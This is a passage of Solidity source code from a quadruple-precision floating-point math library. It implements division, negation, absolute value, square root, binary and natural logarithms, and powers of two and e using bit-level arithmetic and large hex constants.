<<= 112 - msb;\n\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n xExponent = xExponent + msb - 16607;\n }\n\n return\n bytes16(\n uint128(\n uint128(\n (x ^ y) & 0x80000000000000000000000000000000\n ) |\n (xExponent << 112) |\n xSignifier\n )\n );\n }\n }\n }\n\n /**\n * Calculate x / y. Special values behave in the following way:\n *\n * NaN / x = NaN for any x.\n * x / NaN = NaN for any x.\n * Infinity / x = Infinity for any finite non-negative x.\n * Infinity / x = -Infinity for any finite negative x including -0.\n * -Infinity / x = -Infinity for any finite non-negative x.\n * -Infinity / x = Infinity for any finite negative x including -0.\n * x / Infinity = 0 for any finite non-negative x.\n * x / -Infinity = -0 for any finite non-negative x.\n * x / Infinity = -0 for any finite non-negative x including -0.\n * x / -Infinity = 0 for any finite non-negative x including -0.\n *\n * Infinity / Infinity = NaN.\n * Infinity / -Infinity = -NaN.\n * -Infinity / Infinity = -NaN.\n * -Infinity / -Infinity = NaN.\n *\n * Division by zero behaves in the following way:\n *\n * x / 0 = Infinity for any finite positive x.\n * x / -0 = -Infinity for any finite positive x.\n * x / 0 = -Infinity for any finite negative x.\n * x / -0 = Infinity for any finite negative x.\n * 0 / 0 = NaN.\n * 0 / -0 = NaN.\n * -0 / 0 = NaN.\n * -0 / -0 = NaN.\n *\n * @param x quadruple precision number\n * @param y quadruple precision number\n * @return quadruple precision number\n */\n function div(bytes16 x, bytes16 y) internal pure returns (bytes16) {\n unchecked {\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\n\n if (xExponent == 0x7FFF) {\n if (yExponent == 0x7FFF) return NaN;\n else return x ^ (y & 0x80000000000000000000000000000000);\n } else if (yExponent == 0x7FFF) {\n if (y & 0x0000FFFFFFFFFFFFFFFFFFFFFFFFFFFF != 0) return NaN;\n else\n return\n _POSITIVE_ZERO |\n ((x ^ y) & 0x80000000000000000000000000000000);\n } else if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) {\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\n else\n return\n _POSITIVE_INFINITY |\n ((x ^ y) & 0x80000000000000000000000000000000);\n } else {\n uint256 ySignifier =\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (yExponent == 0) yExponent = 1;\n else ySignifier |= 0x10000000000000000000000000000;\n\n uint256 xSignifier =\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (xExponent == 0) {\n if (xSignifier != 0) {\n uint256 shift = 226 - mostSignificantBit(xSignifier);\n\n xSignifier <<= shift;\n\n xExponent = 1;\n yExponent += shift - 114;\n }\n } else {\n xSignifier =\n (xSignifier | 0x10000000000000000000000000000) <<\n 114;\n }\n\n xSignifier = xSignifier / ySignifier;\n if (xSignifier == 0)\n return\n (x ^ y) & 0x80000000000000000000000000000000 > 0\n ? _NEGATIVE_ZERO\n : _POSITIVE_ZERO;\n\n assert(xSignifier >= 0x1000000000000000000000000000);\n\n uint256 msb =\n xSignifier >= 0x80000000000000000000000000000\n ? mostSignificantBit(xSignifier)\n : xSignifier >= 0x40000000000000000000000000000\n ? 114\n : xSignifier >= 0x20000000000000000000000000000\n ? 113\n : 112;\n\n if (xExponent + msb > yExponent + 16497) {\n // Overflow\n xExponent = 0x7FFF;\n xSignifier = 0;\n } else if (xExponent + msb + 16380 < yExponent) {\n // Underflow\n xExponent = 0;\n xSignifier = 0;\n } else if (xExponent + msb + 16268 < yExponent) {\n // Subnormal\n if (xExponent + 16380 > yExponent)\n xSignifier <<= xExponent + 16380 - yExponent;\n else if (xExponent + 16380 < yExponent)\n xSignifier >>= yExponent - xExponent - 16380;\n\n xExponent = 0;\n } else {\n // Normal\n if (msb > 112) xSignifier >>= msb - 112;\n\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n xExponent = xExponent + msb + 16269 - yExponent;\n }\n\n return\n bytes16(\n uint128(\n uint128(\n (x ^ y) & 0x80000000000000000000000000000000\n ) |\n (xExponent << 112) |\n xSignifier\n )\n );\n }\n }\n }\n\n /**\n * Calculate -x.\n *\n * @param x quadruple precision number\n * @return quadruple precision number\n */\n function neg(bytes16 x) internal pure returns (bytes16) {\n unchecked {return x ^ 0x80000000000000000000000000000000;}\n }\n\n /**\n * Calculate |x|.\n *\n * @param x quadruple precision number\n * @return quadruple precision number\n */\n function abs(bytes16 x) internal pure returns (bytes16) {\n unchecked {return x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;}\n }\n\n /**\n * Calculate square root of x. Return NaN on negative x excluding -0.\n *\n * @param x quadruple precision number\n * @return quadruple precision number\n */\n function sqrt(bytes16 x) internal pure returns (bytes16) {\n unchecked {\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\n else {\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\n if (xExponent == 0x7FFF) return x;\n else {\n uint256 xSignifier =\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (xExponent == 0) xExponent = 1;\n else xSignifier |= 0x10000000000000000000000000000;\n\n if (xSignifier == 0) return _POSITIVE_ZERO;\n\n bool oddExponent = xExponent & 0x1 == 0;\n xExponent = (xExponent + 16383) >> 1;\n\n if (oddExponent) {\n if (xSignifier >= 0x10000000000000000000000000000)\n xSignifier <<= 113;\n else {\n uint256 msb = mostSignificantBit(xSignifier);\n uint256 shift = (226 - msb) & 0xFE;\n xSignifier <<= shift;\n xExponent -= (shift - 112) >> 1;\n }\n } else {\n if (xSignifier >= 0x10000000000000000000000000000)\n xSignifier <<= 112;\n else {\n uint256 msb = mostSignificantBit(xSignifier);\n uint256 shift = (225 - msb) & 0xFE;\n xSignifier <<= shift;\n xExponent -= (shift - 112) >> 1;\n }\n }\n\n uint256 r = 0x10000000000000000000000000000;\n r = (r + xSignifier / r) >> 1;\n r = (r + xSignifier / r) >> 1;\n r = (r + xSignifier / r) >> 1;\n r = (r + xSignifier / r) >> 1;\n r = (r + xSignifier / r) >> 1;\n r = (r + xSignifier / r) >> 1;\n r = (r + xSignifier / r) >> 1; // Seven iterations should be enough\n uint256 r1 = xSignifier / r;\n if (r1 < r) r = r1;\n\n return\n bytes16(\n uint128(\n (xExponent << 112) |\n (r & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n )\n );\n }\n }\n }\n }\n\n /**\n * Calculate binary logarithm of x. Return NaN on negative x excluding -0.\n *\n * @param x quadruple precision number\n * @return quadruple precision number\n */\n function log_2(bytes16 x) internal pure returns (bytes16) {\n unchecked {\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\n else if (x == 0x3FFF0000000000000000000000000000)\n return _POSITIVE_ZERO;\n else {\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\n if (xExponent == 0x7FFF) return x;\n else {\n uint256 xSignifier =\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (xExponent == 0) xExponent = 1;\n else xSignifier |= 0x10000000000000000000000000000;\n\n if (xSignifier == 0) return _NEGATIVE_INFINITY;\n\n bool resultNegative;\n uint256 resultExponent = 16495;\n uint256 resultSignifier;\n\n if (xExponent >= 0x3FFF) {\n resultNegative = false;\n resultSignifier = xExponent - 0x3FFF;\n xSignifier <<= 15;\n } else {\n resultNegative = true;\n if (xSignifier >= 0x10000000000000000000000000000) {\n resultSignifier = 0x3FFE - xExponent;\n xSignifier <<= 15;\n } else {\n uint256 msb = mostSignificantBit(xSignifier);\n resultSignifier = 16493 - msb;\n xSignifier <<= 127 - msb;\n }\n }\n\n if (xSignifier == 0x80000000000000000000000000000000) {\n if (resultNegative) resultSignifier += 1;\n uint256 shift =\n 112 - mostSignificantBit(resultSignifier);\n resultSignifier <<= shift;\n resultExponent -= shift;\n } else {\n uint256 bb = resultNegative ? 1 : 0;\n while (\n resultSignifier < 0x10000000000000000000000000000\n ) {\n resultSignifier <<= 1;\n resultExponent -= 1;\n\n xSignifier *= xSignifier;\n uint256 b = xSignifier >> 255;\n resultSignifier += b ^ bb;\n xSignifier >>= 127 + b;\n }\n }\n\n return\n bytes16(\n uint128(\n (\n resultNegative\n ? 0x80000000000000000000000000000000\n : 0\n ) |\n (resultExponent << 112) |\n (resultSignifier &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n )\n );\n }\n }\n }\n }\n\n /**\n * Calculate natural logarithm of x. Return NaN on negative x excluding -0.\n *\n * @param x quadruple precision number\n * @return quadruple precision number\n */\n function ln(bytes16 x) internal pure returns (bytes16) {\n unchecked {return mul(log_2(x), 0x3FFE62E42FEFA39EF35793C7673007E5);}\n }\n\n /**\n * Calculate 2^x.\n *\n * @param x quadruple precision number\n * @return quadruple precision number\n */\n function pow_2(bytes16 x) internal pure returns (bytes16) {\n unchecked {\n bool xNegative = uint128(x) > 0x80000000000000000000000000000000;\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\n uint256 xSignifier = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n if (xExponent == 0x7FFF && xSignifier != 0) return NaN;\n else if (xExponent > 16397)\n return xNegative ? _POSITIVE_ZERO : _POSITIVE_INFINITY;\n else if (xExponent < 16255)\n return 0x3FFF0000000000000000000000000000;\n else {\n if (xExponent == 0) xExponent = 1;\n else xSignifier |= 0x10000000000000000000000000000;\n\n if (xExponent > 16367) xSignifier <<= xExponent - 16367;\n else if (xExponent < 16367) xSignifier >>= 16367 - xExponent;\n\n if (\n xNegative &&\n xSignifier > 0x406E00000000000000000000000000000000\n ) return _POSITIVE_ZERO;\n\n if (\n !xNegative &&\n xSignifier > 0x3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n ) return _POSITIVE_INFINITY;\n\n uint256 resultExponent = xSignifier >> 128;\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (xNegative && xSignifier != 0) {\n xSignifier = ~xSignifier;\n resultExponent += 1;\n }\n\n uint256 resultSignifier = 0x80000000000000000000000000000000;\n if (xSignifier & 0x80000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x16A09E667F3BCC908B2FB1366EA957D3E) >>\n 128;\n if (xSignifier & 0x40000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1306FE0A31B7152DE8D5A46305C85EDEC) >>\n 128;\n if (xSignifier & 0x20000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1172B83C7D517ADCDF7C8C50EB14A791F) >>\n 128;\n if (xSignifier & 0x10000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10B5586CF9890F6298B92B71842A98363) >>\n 128;\n if (xSignifier & 0x8000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1059B0D31585743AE7C548EB68CA417FD) >>\n 128;\n if (xSignifier & 0x4000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x102C9A3E778060EE6F7CACA4F7A29BDE8) >>\n 128;\n if (xSignifier & 0x2000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10163DA9FB33356D84A66AE336DCDFA3F) >>\n 128;\n if (xSignifier & 0x1000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100B1AFA5ABCBED6129AB13EC11DC9543) >>\n 128;\n if (xSignifier & 0x800000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10058C86DA1C09EA1FF19D294CF2F679B) >>\n 128;\n if (xSignifier & 0x400000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1002C605E2E8CEC506D21BFC89A23A00F) >>\n 128;\n if (xSignifier & 0x200000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100162F3904051FA128BCA9C55C31E5DF) >>\n 128;\n if (xSignifier & 0x100000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000B175EFFDC76BA38E31671CA939725) >>\n 128;\n if (xSignifier & 0x80000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100058BA01FB9F96D6CACD4B180917C3D) >>\n 128;\n if (xSignifier & 0x40000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10002C5CC37DA9491D0985C348C68E7B3) >>\n 128;\n if (xSignifier & 0x20000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000162E525EE054754457D5995292026) >>\n 128;\n if (xSignifier & 0x10000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000B17255775C040618BF4A4ADE83FC) >>\n 128;\n if (xSignifier & 0x8000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000058B91B5BC9AE2EED81E9B7D4CFAB) >>\n 128;\n if (xSignifier & 0x4000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100002C5C89D5EC6CA4D7C8ACC017B7C9) >>\n 128;\n if (xSignifier & 0x2000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000162E43F4F831060E02D839A9D16D) >>\n 128;\n if (xSignifier & 0x1000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000B1721BCFC99D9F890EA06911763) >>\n 128;\n if (xSignifier & 0x800000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000058B90CF1E6D97F9CA14DBCC1628) >>\n 128;\n if (xSignifier & 0x400000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000002C5C863B73F016468F6BAC5CA2B) >>\n 128;\n if (xSignifier & 0x200000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000162E430E5A18F6119E3C02282A5) >>\n 128;\n if (xSignifier & 0x100000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000B1721835514B86E6D96EFD1BFE) >>\n 128;\n if (xSignifier & 0x80000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000058B90C0B48C6BE5DF846C5B2EF) >>\n 128;\n if (xSignifier & 0x40000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000002C5C8601CC6B9E94213C72737A) >>\n 128;\n if (xSignifier & 0x20000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000162E42FFF037DF38AA2B219F06) >>\n 128;\n if (xSignifier & 0x10000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000B17217FBA9C739AA5819F44F9) >>\n 128;\n if (xSignifier & 0x8000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000058B90BFCDEE5ACD3C1CEDC823) >>\n 128;\n if (xSignifier & 0x4000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000002C5C85FE31F35A6A30DA1BE50) >>\n 128;\n if (xSignifier & 0x2000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000162E42FF0999CE3541B9FFFCF) >>\n 128;\n if (xSignifier & 0x1000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000B17217F80F4EF5AADDA45554) >>\n 128;\n if (xSignifier & 0x800000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000058B90BFBF8479BD5A81B51AD) >>\n 128;\n if (xSignifier & 0x400000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000002C5C85FDF84BD62AE30A74CC) >>\n 128;\n if (xSignifier & 0x200000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000162E42FEFB2FED257559BDAA) >>\n 128;\n if (xSignifier & 0x100000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000B17217F7D5A7716BBA4A9AE) >>\n 128;\n if (xSignifier & 0x80000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000058B90BFBE9DDBAC5E109CCE) >>\n 128;\n if (xSignifier & 0x40000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000002C5C85FDF4B15DE6F17EB0D) >>\n 128;\n if (xSignifier & 0x20000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000162E42FEFA494F1478FDE05) >>\n 128;\n if (xSignifier & 0x10000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000B17217F7D20CF927C8E94C) >>\n 128;\n if (xSignifier & 0x8000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000058B90BFBE8F71CB4E4B33D) >>\n 128;\n if (xSignifier & 0x4000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000002C5C85FDF477B662B26945) >>\n 128;\n if (xSignifier & 0x2000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000162E42FEFA3AE53369388C) >>\n 128;\n if (xSignifier & 0x1000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000B17217F7D1D351A389D40) >>\n 128;\n if (xSignifier & 0x800000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000058B90BFBE8E8B2D3D4EDE) >>\n 128;\n if (xSignifier & 0x400000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000002C5C85FDF4741BEA6E77E) >>\n 128;\n if (xSignifier & 0x200000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000162E42FEFA39FE95583C2) >>\n 128;\n if (xSignifier & 0x100000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000B17217F7D1CFB72B45E1) >>\n 128;\n if (xSignifier & 0x80000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000058B90BFBE8E7CC35C3F0) >>\n 128;\n if (xSignifier & 0x40000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000002C5C85FDF473E242EA38) >>\n 128;\n if (xSignifier & 0x20000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000162E42FEFA39F02B772C) >>\n 128;\n if (xSignifier & 0x10000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000B17217F7D1CF7D83C1A) >>\n 128;\n if (xSignifier & 0x8000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000058B90BFBE8E7BDCBE2E) >>\n 128;\n if (xSignifier & 0x4000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000002C5C85FDF473DEA871F) >>\n 128;\n if (xSignifier & 0x2000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000162E42FEFA39EF44D91) >>\n 128;\n if (xSignifier & 0x1000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000B17217F7D1CF79E949) >>\n 128;\n if (xSignifier & 0x800000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000058B90BFBE8E7BCE544) >>\n 128;\n if (xSignifier & 0x400000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000002C5C85FDF473DE6ECA) >>\n 128;\n if (xSignifier & 0x200000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000162E42FEFA39EF366F) >>\n 128;\n if (xSignifier & 0x100000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000B17217F7D1CF79AFA) >>\n 128;\n if (xSignifier & 0x80000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000058B90BFBE8E7BCD6D) >>\n 128;\n if (xSignifier & 0x40000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000002C5C85FDF473DE6B2) >>\n 128;\n if (xSignifier & 0x20000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000162E42FEFA39EF358) >>\n 128;\n if (xSignifier & 0x10000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000B17217F7D1CF79AB) >>\n 128;\n if (xSignifier & 0x8000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000058B90BFBE8E7BCD5) >>\n 128;\n if (xSignifier & 0x4000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000002C5C85FDF473DE6A) >>\n 128;\n if (xSignifier & 0x2000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000162E42FEFA39EF34) >>\n 128;\n if (xSignifier & 0x1000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000B17217F7D1CF799) >>\n 128;\n if (xSignifier & 0x800000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000058B90BFBE8E7BCC) >>\n 128;\n if (xSignifier & 0x400000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000002C5C85FDF473DE5) >>\n 128;\n if (xSignifier & 0x200000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000162E42FEFA39EF2) >>\n 128;\n if (xSignifier & 0x100000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000B17217F7D1CF78) >>\n 128;\n if (xSignifier & 0x80000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000058B90BFBE8E7BB) >>\n 128;\n if (xSignifier & 0x40000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000002C5C85FDF473DD) >>\n 128;\n if (xSignifier & 0x20000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000162E42FEFA39EE) >>\n 128;\n if (xSignifier & 0x10000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000B17217F7D1CF6) >>\n 128;\n if (xSignifier & 0x8000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000058B90BFBE8E7A) >>\n 128;\n if (xSignifier & 0x4000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000002C5C85FDF473C) >>\n 128;\n if (xSignifier & 0x2000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000162E42FEFA39D) >>\n 128;\n if (xSignifier & 0x1000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000B17217F7D1CE) >>\n 128;\n if (xSignifier & 0x800000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000058B90BFBE8E6) >>\n 128;\n if (xSignifier & 0x400000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000002C5C85FDF472) >>\n 128;\n if (xSignifier & 0x200000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000162E42FEFA38) >>\n 128;\n if (xSignifier & 0x100000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000B17217F7D1B) >>\n 128;\n if (xSignifier & 0x80000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000058B90BFBE8D) >>\n 128;\n if (xSignifier & 0x40000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000002C5C85FDF46) >>\n 128;\n if (xSignifier & 0x20000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000162E42FEFA2) >>\n 128;\n if (xSignifier & 0x10000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000B17217F7D0) >>\n 128;\n if (xSignifier & 0x8000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000058B90BFBE7) >>\n 128;\n if (xSignifier & 0x4000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000002C5C85FDF3) >>\n 128;\n if (xSignifier & 0x2000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000162E42FEF9) >>\n 128;\n if (xSignifier & 0x1000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000B17217F7C) >>\n 128;\n if (xSignifier & 0x800000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000058B90BFBD) >>\n 128;\n if (xSignifier & 0x400000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000002C5C85FDE) >>\n 128;\n if (xSignifier & 0x200000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000162E42FEE) >>\n 128;\n if (xSignifier & 0x100000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000B17217F6) >>\n 128;\n if (xSignifier & 0x80000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000058B90BFA) >>\n 128;\n if (xSignifier & 0x40000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000002C5C85FC) >>\n 128;\n if (xSignifier & 0x20000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000162E42FD) >>\n 128;\n if (xSignifier & 0x10000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000B17217E) >>\n 128;\n if (xSignifier & 0x8000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000058B90BE) >>\n 128;\n if (xSignifier & 0x4000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000002C5C85E) >>\n 128;\n if (xSignifier & 0x2000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000162E42E) >>\n 128;\n if (xSignifier & 0x1000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000B17216) >>\n 128;\n if (xSignifier & 0x800000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000058B90A) >>\n 128;\n if (xSignifier & 0x400000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000002C5C84) >>\n 128;\n if (xSignifier & 0x200000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000162E41) >>\n 128;\n if (xSignifier & 0x100000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000000B1720) >>\n 128;\n if (xSignifier & 0x80000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000058B8F) >>\n 128;\n if (xSignifier & 0x40000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000002C5C7) >>\n 128;\n if (xSignifier & 0x20000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000000162E3) >>\n 128;\n if (xSignifier & 0x10000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000000B171) >>\n 128;\n if (xSignifier & 0x8000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000000058B8) >>\n 128;\n if (xSignifier & 0x4000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000002C5B) >>\n 128;\n if (xSignifier & 0x2000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000000162D) >>\n 128;\n if (xSignifier & 0x1000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000000B16) >>\n 128;\n if (xSignifier & 0x800 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000000058A) >>\n 128;\n if (xSignifier & 0x400 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000000002C4) >>\n 128;\n if (xSignifier & 0x200 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000000161) >>\n 128;\n if (xSignifier & 0x100 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000000000B0) >>\n 128;\n if (xSignifier & 0x80 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000000057) >>\n 128;\n if (xSignifier & 0x40 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000000002B) >>\n 128;\n if (xSignifier & 0x20 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000000015) >>\n 128;\n if (xSignifier & 0x10 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000000000A) >>\n 128;\n if (xSignifier & 0x8 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000000004) >>\n 128;\n if (xSignifier & 0x4 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000000001) >>\n 128;\n\n if (!xNegative) {\n resultSignifier =\n (resultSignifier >> 15) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n resultExponent += 0x3FFF;\n } else if (resultExponent <= 0x3FFE) {\n resultSignifier =\n (resultSignifier >> 15) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n resultExponent = 0x3FFF - resultExponent;\n } else {\n resultSignifier =\n resultSignifier >>\n (resultExponent - 16367);\n resultExponent = 0;\n }\n\n return\n bytes16(uint128((resultExponent << 112) | resultSignifier));\n }\n }\n }\n\n /**\n * Calculate e^x.\n *\n * @param x quadruple precision number\n * @return quadruple precision number\n */\n function exp(bytes16 x) internal pure returns (bytes16) {\n unchecked {return pow_2(mul(x, 0x3FFF71547652B82FE1777D0FFDA0D23A));}\n }\n\n /**\n * Get index of the most significant non-zero bit in binary representation of\n * x. Reverts if x is zero.\n *\n * @return index of the most significant non-zero bit in binary representation\n * of x\n */\n function mostSignificantBit(uint256 x) private pure returns (uint256) {\n unchecked {\n require(x > 0);\n\n uint256 result = 0;\n\n if (x >= 0x100000000000000000000000000000000) {\n x >>= 128;\n result += 128;\n 